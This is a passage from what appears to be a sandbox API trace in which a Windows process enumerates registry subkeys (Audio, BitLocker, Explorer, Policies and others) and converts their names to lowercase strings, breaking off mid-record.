lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x58c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0248.831] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x58b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x58c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0248.831] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x58b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x58c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0248.831] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x58b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x58c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0248.831] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x58b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x58c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0248.831] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x58b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x58c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0248.831] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x58b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x58c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0248.832] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x58b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0248.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0248.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x58c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0248.832] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x58b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0248.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x58c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0248.832] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x58b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0248.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0248.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x58c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0248.832] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x58b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0248.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0248.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x58c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0248.832] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x58b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0248.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x58c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0248.833] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x58b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0248.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0248.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x58c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0248.833] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x58b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0248.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0248.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x58c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0248.833] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x58b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0248.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0248.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x58c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0248.833] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x58b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0248.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x58c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0248.833] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x58b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0248.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x58c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0248.833] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x58b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0248.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x58c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0248.833] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x58b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0248.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x58c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0248.834] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x58b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0248.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x58c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0248.834] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x58b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0248.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x58c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0248.834] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x58b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0248.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x58c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0248.834] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x58b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0248.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x58c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0248.834] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x58b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0248.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x58c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0248.834] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x58b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0248.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x58c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0248.835] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x58b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x58c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0248.835] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x58b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x58c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0248.835] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x58b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x58c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0248.835] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x58b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x58c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0248.835] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x58b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x58c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0248.835] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x58b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x58c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0248.835] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x58b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0248.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x58c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0248.836] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x58b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x58c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0248.836] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x58b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x58c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0248.836] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x58b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x58c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0248.836] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x58b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x58c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0248.836] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x58b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x58c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0248.836] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x58b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x58c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0248.836] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0248.837] RegCloseKey (hKey=0x38) returned 0x0 [0248.837] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x58b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x58c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0248.837] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x58b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 